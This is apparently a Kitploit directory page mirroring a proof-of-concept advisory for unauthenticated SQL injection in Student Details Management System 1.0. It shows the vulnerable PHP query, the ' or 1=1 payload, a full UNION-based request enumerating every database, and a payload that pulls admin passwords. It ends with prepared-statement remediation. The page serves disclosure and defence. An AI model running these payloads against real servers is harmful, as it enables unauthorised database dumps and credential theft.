Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-10110-SQLi — Proof-of-concept for unauthenticated SQL injection in Student Details Management System 1.0, demonstrating UNION-based data extraction and credential theft. | Kitploit
Tools/GitHubGitHub/xmyronn/cve-2026-10110-sqli
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingDatabase Security
GitHubxmyronn/cve-2026-10110-sqli

CVE-2026-10110-SQLi

Proof-of-concept for unauthenticated SQL injection in Student Details Management System 1.0, demonstrating UNION-based data extraction and credential theft.

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Student Details Management System 1.0 - SQL Injection (Unauthenticated)

Vulnerability Information

FieldDetails
ProductStudent Details Management System
Vendorcode-projects.org
Version1.0
Vulnerability TypeSQL Injection (CWE-89)
CVE IDPending
CVSS Score9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Authentication RequiredNo
Affected File/SMS/index.php
Vulnerable Parameterroll (POST)

Description

A critical SQL injection vulnerability exists in the index.php file of the Student Details Management System 1.0. The roll parameter passed via POST request is directly concatenated into a raw SQL query with no sanitization, input validation, or use of prepared statements. This allows an unauthenticated remote attacker to inject arbitrary SQL and perform UNION-based data extraction, dumping the entire database server including credential tables.

The vulnerability exists on the public-facing student search form, requiring zero authentication.


Vulnerable Code

File: index.php (lines 51–59)

root@kitploit:~
include('dbcon.php');
if (isset($_POST['show'])) {

    $Standard = $_POST['standard'];
    $RollNo = $_POST['roll'];

    $sql = "SELECT * FROM `student` WHERE `standard` = '$Standard' OR `rollno`='$RollNo'";

    $result = mysqli_query($conn,$sql);

Both $Standard and $RollNo are taken directly from $_POST with no escaping or parameterization. The attacker controls the roll parameter to break out of the SQL string context and inject arbitrary queries.


Proof of Concept

Step 1 — Confirm Normal Behaviour

Navigate to the application home page and enter a valid roll number:

root@kitploit:~
http://<TARGET>/SMS/index.php

Enter 1001 in the roll number field → application returns student records normally.

Screenshot 2026-05-03 220510

Step 2 — Trigger SQL Error (Confirm Injection Point)

Enter a single quote ' in the roll number field and click SHOW INFO.

Result: MariaDB throws a fatal error exposing the raw SQL query and file path:

root@kitploit:~
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right 
syntax to use near '"' at line 1 in 
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php:59
Screenshot 2026-05-03 220533

Step 3 — Authentication Bypass / Full Table Dump

Payload:

root@kitploit:~
' or 1=1 -- -

Result: All student records in the database are returned without any valid roll number, confirming the injection is exploitable.

Screenshot 2026-05-03 220550

Step 4 — UNION-Based Extraction (Full Database Enumeration)

Burp Suite Request:

root@kitploit:~
POST /STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/SMS/index.php HTTP/1.1
Host: 192.168.0.9
Content-Type: application/x-www-form-urlencoded

roll=1001' union select null,null,table_name,null,null,null,null from information_schema.tables -- -&standard=SELECT+STANDARD&show=SHOW+INFO

Result: The name column (position 3 in the UNION) reflects back every table name across all databases on the MySQL instance — including admin, global_priv, users, mysql.user and credential tables from multiple other applications installed on the same XAMPP instance.

Screenshot 2026-05-03 220606

Step 5 — Privilege Escalation Path

The dump reveals sensitive tables including admin, users, global_priv and tbl_admin from other databases on the same server. An attacker can extract credentials with:

root@kitploit:~
roll=1' union select null,null,password,null,null,null,null from admin-- -

Combined with verbose error output (Step 2), full file path disclosure is also confirmed:

root@kitploit:~
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php

Impact

  • Full database enumeration across all databases on the server (not just the target app)
  • Admin credential extraction via admin table dump
  • Full path disclosure via verbose SQL error output
  • No authentication required — exploitable by any unauthenticated visitor to the search page
  • Potential privilege escalation to other applications sharing the same MySQL instance

Remediation

Use prepared statements with bound parameters:

root@kitploit:~
$stmt = $conn->prepare("SELECT * FROM `student` WHERE `standard` = ? OR `rollno` = ?");
$stmt->bind_param("ss", $Standard, $RollNo);
$stmt->execute();
$result = $stmt->get_result();

Additionally, disable verbose PHP/MySQL error output in production by setting display_errors = Off in php.ini.


References

  • Vendor Homepage
  • CWE-89: SQL Injection
  • OWASP SQL Injection

Discoverer

Researcher: Imad Alvi

Download Tool